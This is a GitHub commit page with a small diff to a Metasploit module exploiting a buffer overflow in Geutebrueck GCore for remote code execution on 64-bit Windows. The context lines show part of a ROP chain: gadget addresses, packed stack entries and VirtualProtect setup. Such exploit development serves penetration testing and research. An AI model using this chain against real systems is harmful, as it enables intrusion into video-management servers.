Skip to content

Commit 6683ba5

Browse files
author
Maurice Popp
committed
added one missing change
1 parent 8963d77 commit 6683ba5

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,7 @@ def check
7676
end
7777

7878
def ropchain(target)
79+
rop = ''
7980
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
8081
stack_align = "\x43" * 16
8182

@@ -111,7 +112,6 @@ def ropchain(target)
111112
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
112113
# We want RCX to hold the value for VP Argument "Address of Shellcode"
113114
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
114-
rop = ''
115115
rop << [0x140cc2234].pack('Q<')
116116
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
117117
# 0x1400ae2ae | POP RDX; RETN
@@ -180,7 +180,6 @@ def ropchain(target)
180180
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
181181
# We want RCX to hold the value for VP Argument "Address of Shellcode"
182182
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
183-
rop = ''
184183
rop << [0x140ccb984].pack('Q<')
185184
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
186185
# 0x14008f7ec | POP RDX; RETN

0 commit comments

Comments
 (0)